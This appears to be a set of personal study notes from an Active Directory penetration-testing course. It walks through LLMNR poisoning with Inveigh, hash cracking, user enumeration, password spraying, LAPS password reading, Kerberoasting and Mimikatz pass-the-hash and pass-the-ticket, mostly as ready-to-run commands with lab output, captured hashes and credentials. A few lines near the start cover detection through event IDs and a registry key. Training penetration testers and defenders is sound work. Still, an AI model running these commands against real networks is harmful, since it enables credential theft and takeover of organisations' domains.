* Furthermore, hosts can be monitored for traffic on
  * ports UDP 5355 and 137,
  * and event IDs [4697](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697) and [7045](https://www.manageengine.com/products/active-directory-audit/kb/system-events/event-id-7045.html) can be monitored for.
* Finally, we can monitor the registry key `HKLM\Software\Policies\Microsoft\Windows NT\DNSClient` for changes to the `EnableMulticast` DWORD value.
  * A value of `0` would mean that LLMNR is disabled.

## Reference

* <https://youtu.be/VXxH4n684HE?t=5888>


# Inveigh

* Inveigh can listen to IPv4 and IPv6 and several other protocols, including `LLMNR`, DNS, `mDNS`, NBNS, `DHCPv6`, ICMPv6, `HTTP`, HTTPS, `SMB`, LDAP, `WebDAV`, and Proxy Auth.

### Using Inveigh

```powershell-session
Import-Module .\Inveigh.ps1
```

```powershell-session
(Get-Command Invoke-Inveigh).Parameters
```

#### LLMNR and NBNS spoofing

* Let's start Inveigh with LLMNR and NBNS spoofing, and output to the console and write to a file.

```powershell-session
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```

```
cat Inveigh-NTLMv2.txt |clip
```

* copy hashes to [Hashcat](app://obsidian.md/Hashcat)and break

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt 
```

## Reference

* <https://github.com/Kevin-Robertson/Inveigh>
* <https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1>


# InveighZero

* The PowerShell version of Inveigh is the original version and is no longer updated.
* The tool author maintains the C# version, which combines the original PoC C# code and a C# port of most of the code from the PowerShell version.
* Before we can use the C# version of the tool, we have to compile the executable.

```powershell-session
.\Inveigh.exe
```

* We can quickly view unique captured hashes by typing `GET NTLMV2UNIQUE`.

```powershell-session
================================================= Unique NTLMv2 Hashes =================================================

Hashes
========================================================================================================================
backupagent::INLANEFREIGHT:B5013246091943D7:16A41B703C8D4F8F6AF75C47C3B50CB5:01010000000000001DBF1816222DD801DF80FE7D54E898EF0000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C00070008001DBF1816222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000
forend::INLANEFREIGHT:32FD89BD78804B04:DFEB0C724F3ECE90E42BAF061B78BFE2:010100000000000016010623222DD801B9083B0DCEE1D9520000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000700080016010623222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000

<SNIP>
```

* We can type in `GET NTLMV2USERNAMES` and see which usernames we have collected.

```powershell-session
=================================================== NTLMv2 Usernames ===================================================

IP Address                        Host                              Username                          Challenge
========================================================================================================================
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\backupagent       | B5013246091943D7
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\forend            | 32FD89BD78804B04
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\clusteragent      | 28BF08D82FA998E4
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\wley              | 277AC2ED022DB4F7
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\svc_qualys 
```


# Password Spraying - Making a Target User List ACTIVE Directory

* By leveraging an SMB NULL session
  * retrieve a complete list of domain users from the domain controller
* Utilizing an LDAP anonymous bind to query LDAP anonymously
  * pull down the domain user list
* Use tool such as
  * [Kerbrute](/cybersecurity/kerbrute) to validate users utilizing a word list

    * from a source such as the
      * [linkedin2username](/cybersecurity/linkedin2username)
      * [statistically-likely-usernames](/cybersecurity/statistically-likely-usernames)
    * [LLMNR Poisoning](/cybersecurity/llmnr-poisoning)

    <br>

### Using enum4linux

#### SMB NULL Session to Pull User List

```shell-session
enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
```

```shell-session
administrator
guest
krbtgt
```

### Using rpcclient

#### SMB NULL Session to Pull User List

```shell-session
 rpcclient -U "" -N 172.16.5.5
```

```shell-session
enumdomusers 
```

```
rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers user:[administrator] rid:[0x1f4] user:[guest] rid:[0x1f5]
```

### Using CrackMapExec --users Flag

#### SMB NULL Session to Pull User List

```shell-session
crackmapexec smb 172.16.5.5 --users
```

```
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 0 baddpwdtime: 2022-01-10 13:23:09.463228
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\lab_adm
```

### Gathering Users with LDAP Anonymous

* Some examples include windapsearch and ldapsearch.

#### Using ldapsearch

```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
```

### Using windapsearch

[windapsearch](/cybersecurity/windapsearch)

### Enumerating Users with Kerbrute

* look into [statistically-likely-usernames](/cybersecurity/statistically-likely-usernames) for username list
  * [linkedin2username](/cybersecurity/linkedin2username)
  * jsmith.txt is from this list

```shell-session
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt 
```

* &#x20;Using Kerbrute for username enumeration will generate event ID [4768: A Kerberos authentication ticket (TGT) was requested](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768)
  * will be triggered if [Kerberos event logging](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-kerberos-event-logging) is enabled via Group Policy

### Credentialed Enumeration to Build our User List

* With valid credentials,
  * can use any of the tools stated previously to build a user list. A quick and easy way is using CrackMapExec.

**Using CrackMapExec with Valid Credentials**

```shell-session
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
```


# Kerbrute

* Kerbrute can be a stealthier option for domain account enumeration.
* It takes advantage of the fact that Kerberos pre-authentication failures often will not trigger logs or alerts

### Cloning Kerbrute GitHub Repo

```shell-session
sudo git clone https://github.com/ropnop/kerbrute.git
```

#### Install

```
cd kerbrute
```

```shell-session
make help
```

* We can choose to compile just one binary or type `make all` and compile one each for use on Linux, Windows, and Mac systems (an x86 and x64 version for each).

```
sudo make all
```

* The newly created `dist` directory will contain our compiled binaries.

```shell-session
ls dist/
```

### Testing the kerbrute\_linux\_amd64 Binary

```shell-session
/kerbrute_linux_amd64 
```

#### Adding the Tool to our Path

```shell-session
echo $PATH
```

```shell-session
/home/htb-student/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/snap/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/htb-student/.dotnet/tools
```

**Moving the Binary**

```shell-session
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
```

### Enumerating Users with Kerbrute

* look into [statistically-likely-usernames](/cybersecurity/statistically-likely-usernames) for username list
  * [linkedin2username](/cybersecurity/linkedin2username)
  * jsmith.txt is from this list

```shell-session
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt 
```

* &#x20;Using Kerbrute for username enumeration will generate event ID [4768: A Kerberos authentication ticket (TGT) was requested](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768)
  * will be triggered if [Kerberos event logging](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-kerberos-event-logging) is enabled via Group Policy

### Password Spraying Active Directory

* need valid\_users.txt file
  * use [Password Spraying - Making a Target User List ACTIVE Directory](/cybersecurity/password-spraying-making-a-target-user-list-active-directory)

```shell-session
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
```

## Reference

* <https://github.com/ropnop/kerbrute>


# statistically-likely-usernames

<figure><img src="/files/aCESfOgfQ955h34X6QMg" alt=""><figcaption></figcaption></figure>

## Reference

* <https://github.com/insidetrust/statistically-likely-usernames>


# linkedin2username

## Reference

* <https://github.com/initstring/linkedin2username>


# windapsearch

### Gathering Users with LDAP Anonymous

```shell-session
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```

* we can specify anonymous access by providing a blank username with the `-u` flag and the `-U` flag to tell the tool to retrieve just users.

```shell-session
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 None

[+] Enumerating all AD users
[+]	Found 2906 users: 

cn: Guest

cn: Htb Student
userPrincipalName: htb-student@inlanefreight.local

cn: Annie Vazquez
userPrincipalName: avazquez@inlanefreight.local
```

## Reference

* <https://github.com/ropnop/windapsearch?tab=readme-ov-file>


# Internal Password Spraying - from Linux ACTIVE Directory

### Using a Bash one-liner for the Attack

* need valid\_users.txt file
  * [Password Spraying - Making a Target User List ACTIVE Directory](/cybersecurity/password-spraying-making-a-target-user-list-active-directory)

```shell-session
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Copy
```

### Using Kerbrute for the Attack

* [Kerbrute](/cybersecurity/kerbrute#password-spraying-active-directory)

### Using CrackMapExec & Filtering Logon Failures

* [CrackMapExec](/cybersecurity/crackmapexec#password-spraying-active-directory)

**Local Admin Spraying with CrackMapExec**

[CrackMapExec](/cybersecurity/crackmapexec#local-admin-spraying-with-crackmapexec)

## Reference

* <https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/>

<br>

<br>


# Internal Password Spraying - from Windows ACTIVE Directory

use [DomainPasswordSpray](/cybersecurity/domainpasswordspray)


# DomainPasswordSpray

```powershell-session
Import-Module .\DomainPasswordSpray.ps1
```

```powershell-session
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
```

```powershell-session
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success
```

## Reference

* <https://github.com/dafthack/DomainPasswordSpray>


# Local Administrator Password Solution (LAPS)

* The [Microsoft Local Administrator Password Solution (LAPS)](https://www.microsoft.com/en-us/download/details.aspx?id=46899) is used to randomize and rotate local administrator passwords on Windows hosts and prevent lateral movement.
* Accounts can be set up to have their password rotated on a fixed interval (i.e., 12 hours, 24 hours, etc.).

### Attacks

* [LAPSToolkit](/cybersecurity/lapstoolkit)


# LAPSToolkit

* Functions written in PowerShell that leverage PowerView to audit and attack Active Directory environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).
* It includes finding groups specifically delegated by sysadmins, finding users with "All Extended Rights" that can view passwords, and viewing all computers with LAPS enabled.

### Find-LAPSDelegatedGroups

```powershell-session
Find-LAPSDelegatedGroups
```

```powershell-session
OrgUnit                                             Delegated Groups
-------                                             ----------------
OU=Servers,DC=INLANEFREIGHT,DC=LOCAL                INLANEFREIGHT\Domain Admins
OU=Servers,DC=INLANEFREIGHT,DC=LOCAL                INLANEFREIGHT\LAPS Admins
OU=Workstations,DC=INLANEFREIGHT,DC=LOCAL           INLANEFREIGHT\Domain Admins
OU=Workstations,DC=INLANEFREIGHT,DC=LOCAL           INLANEFREIGHT\LAPS Admins
OU=Web Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL INLANEFREIGHT\Domain Admins
OU=Web Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL INLANEFREIGHT\LAPS Admins
OU=SQL Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL INLANEFREIGHT\Domain Admins
OU=SQL Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL INLANEFREIGHT\LAPS Admins
OU=File Servers,OU=Servers,DC=INLANEFREIGHT,DC=L... INLANEFREIGHT\Domain Admins
OU=File Servers,OU=Servers,DC=INLANEFREIGHT,DC=L... INLANEFREIGHT\LAPS Admins
```

### Find-AdmPwdExtendedRights

```
Find-AdmPwdExtendedRights
```

```powershell-session
ComputerName                Identity                    Reason
------------                --------                    ------
EXCHG01.INLANEFREIGHT.LOCAL INLANEFREIGHT\Domain Admins Delegated
EXCHG01.INLANEFREIGHT.LOCAL INLANEFREIGHT\LAPS Admins   Delegated
SQL01.INLANEFREIGHT.LOCAL   INLANEFREIGHT\Domain Admins Delegated
```

* The `Find-AdmPwdExtendedRights` checks the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights." Users with "All Extended Rights" can read LAPS passwords and may be less protected than users in delegated groups, so this is worth checking for.

### Using Get-LAPSComputers

```powershell-session
Get-LAPSComputers
```

```powershell-session
ComputerName                Password       Expiration
------------                --------       ----------
DC01.INLANEFREIGHT.LOCAL    6DZ[+A/[]19d$F 08/26/2020 23:29:45
EXCHG01.INLANEFREIGHT.LOCAL oj+2A+[hHMMtj, 09/26/2020 00:51:30
```

* We can use the `Get-LAPSComputers` function to search for computers that have LAPS enabled when passwords expire, and even the randomized passwords in cleartext if our user has access.

## Reference

* <https://github.com/leoloobeek/LAPSToolkit>


# LDAP Filtering Explained

* You will notice in the queries
  * using strings such as `userAccountControl:1.2.840.113556.1.4.803:=8192`.
* These strings are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others.
* `userAccountControl:1.2.840.113556.1.4.803:`&#x20;
  * Specifies that we are looking at the [User Account Control (UAC) attributes](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties) for an object.
  * This portion can change to include three different values we will explain below when searching for information in AD (also known as [Object Identifiers (OIDs)](https://ldap.com/ldap-oid-reference-guide/).
  * `=8192` represents the decimal bitmask we want to match in this search.
    * This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like `password is not required` or `account is locked` is set.
    * These values can compound and make multiple different bit entries. Below is a quick list of potential values.

### UAC Values

!\[\[Pasted image 20240907115535.png]]

### OID match strings

* OIDs are rules used to match bit values with attributes
* For LDAP and AD, there are three main matching rules

`1.2.840.113556.1.4.803`

* When using this rule as we did in the example above, we are saying the bit value must match completely to meet the search requirements.

`1.2.840.113556.1.4.804`

* When using this rule, we are saying that we want our results to show any attribute match if any bit in the chain matches.
* This works in the case of an object having multiple attributes set.

`1.2.840.113556.1.4.1941`

* This rule is used to match filters that apply to the Distinguished Name of an object and will search through all ownership and membership entries.

### Logical Operators

* When building out search strings, we can utilize logical operators to combine values for the search.
* The operators `&` `|` and `!` are used for this purpose. For example we can combine multiple [search criteria](https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax) with the `& (and)` operator like so:

```
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))
```

* The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (Password Can't Change).
* A user with that attribute set would match the filter.
* You can take this even further and combine multiple attributes like `(&(1) (2) (3))`.
* The `!` (not) and `|` (or) operators can work similarly.
* For example, our filter above can be modified as follows:

```
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))
```

* This would search for any user object that does `NOT` have the Password Can't Change attribute set.
* When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive.


# Kerberoasting

### Kerberoasting Overview

* This attack targets Service Principal Names (SPNs) accounts.
  * [Purpose of Service Principal Names (SPN) in Active Directory](/blog/purpose-of-service-principal-names-spn-in-active-directory)
    * SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running
      * Domain accounts are often used to run services to overcome the network authentication limitations of built-in accounts such as `NT AUTHORITY\LOCAL SERVICE`.

### Kerberoasting - Performing the Attack

* Depending on your position in a network, this attack can be performed in multiple ways:
  * From a non-domain joined Linux host using valid domain user credentials.
  * From a domain-joined Linux host as root after retrieving the keytab file.
  * From a domain-joined Windows host authenticated as a domain user.
  * From a domain-joined Windows host with a shell in the context of a domain account.
  * As SYSTEM on a domain-joined Windows host.
  * From a non-domain joined Windows host using [runas](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525\(v=ws.11\)) /netonly.

## Kerberoasting - from Linux

### Kerberoasting with GetUserSPNs.py

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
```

<figure><img src="/files/pSWPCjbkUWgUkfru3K76" alt=""><figcaption></figcaption></figure>

### Requesting all TGS Tickets

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 
```

<figure><img src="/files/p8Atj1upXSuppGbPTDmC" alt=""><figcaption></figcaption></figure>

### Requesting a Single TGS ticket

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
```

#### Cracking the Ticket Offline with Hashcat

* crack with [Hashcat](/cybersecurity/hashcat)

```shell-session
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt 
```

* password is database!

**Testing Authentication against a Domain Controller**

* [CrackMapExec](/cybersecurity/crackmapexec)

```shell-session
sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!
```

## Kerberoasting - from Windows

### Manual way

#### Enumerating SPNs with setspn.executes

```cmd-session
setspn.exe -Q */*
```

#### Targeting a Single User

```powershell-session
Add-Type -AssemblyName System.IdentityModel
```

```powershell-session
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
```

* The [Add-Type](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.2) cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object
* The `-AssemblyName` parameter allows us to specify an assembly that contains types that we are interested in using
* [System.IdentityModel](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel?view=netframework-4.8) is a namespace that contains different classes for building security token services
* We'll then use the [New-Object](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-7.2) cmdlet to create an instance of a .NET Framework object
* We'll use the [System.IdentityModel.Tokens](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens?view=netframework-4.8) namespace with the [KerberosRequestorSecurityToken](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8) class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session

#### Retrieving All Tickets Using setspn.exe

```powershell-session
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
```

#### Extracting Tickets from Memory with Mimikatz

* [Mimikatz](/cybersecurity/mimikatz)

```cmd-session
mimikatz # base64 /out:true
```

```cmd-session
mimikatz # kerberos::list /export  
```

```shell-session
echo "<base64 blob>" |  tr -d \\n 
```

```shell-session
cat encoded_file | base64 -d > sqldev.kirbi
```

```shell-session
kirbi2john.py sqldev.kirbi
```

```shell-session
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```

* [Hashcat](/cybersecurity/hashcat)

```shell-session
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt 
```

### Automated / Tool Based Route

#### Using PowerView to Extract TGS Tickets

```powershell-session
Import-Module .\PowerView.ps1
```

```powershell-session
Get-DomainUser * -spn | select samaccountname
```

#### Using PowerView to Target a Specific User

```powershell-session
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
```

#### Exporting All Tickets to a CSV File

```powershell-session
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
```

#### Using Rubeus

```powershell-session
.\Rubeus.exe kerberoast /stats
```

```powershell-session
 .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
```

#### Using the /tgtdeleg Flag

<figure><img src="/files/dZivnFWYfPneW31SORql" alt=""><figcaption></figcaption></figure>

* `/tgtdeleg` flag, the tool requested an RC4 ticket even though the supported encryption types are listed as AES 128/256

## Reference

* <https://adsecurity.org/?p=3458>


# Mimikatz

### Mimikatz - Export Tickets

```cmd-session
mimikatz.exe
```

```cmd-session
privilege::debug
```

```cmd-session
sekurlsa::tickets /export
```

```cmd-session
exit
```

* The tickets that end with `$` correspond to the computer account, which needs a ticket to interact with the Active Directory.
* User tickets have the user's name,
  * followed by an `@` that separates the service name and the domain, for example: `[randomvalue]-username@service-domain.local.kirbi`.
* We can also export tickets using Rubeus and the option dump
  * This option can be used to dump all tickets (if running as a local administrator).&#x20;
* `Rubeus dump`, instead of giving us a file, will print the ticket encoded in base64 format. We are adding the option `/nowrap` for easier copy-paste.

### Mimikatz - Extract Kerberos Keys

```cmd-session
mimikatz.exe
privilege::debug
sekurlsa::ekeys
```

### Mimikatz - Pass the Key or OverPass the Hash

```cmd-session
mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
```

### Mimikatz - Pass the Ticket

```cmd-session
mimikatz.exe 
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
```

### Mimikatz - PowerShell Remoting with Pass the Ticket

```cmd-session
mimikatz.exe
```

```cmd-session
privilege::debug
```

```cmd-session
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
```

```cmd-session
exit
```

```cmd-session
powershell
```

```cmd-session
Enter-PSSession -ComputerName DC01
```

```cmd-session
[DC01]: PS C:\Users\john\Documents> whoami
```

```cmd-session
[DC01]: PS C:\Users\john\Documents> hostname
```

### Mimikatz - If you already have lsass.dmp

* Note: It is always a good idea to type "log" before running any commands in "Mimikatz" this way all command output will put output to a ".txt" file.
  * This is especially useful when dumping credentials from a server which may have many sets of credentials in memory.

```cmd-session
mimikatz.exe
```

```cmd-session
log
```

```cmd-session
sekurlsa::minidump lsass.dmp
```

```cmd-session
sekurlsa::logonpasswords
```




---

[Next Page](/llms-full.txt/1)

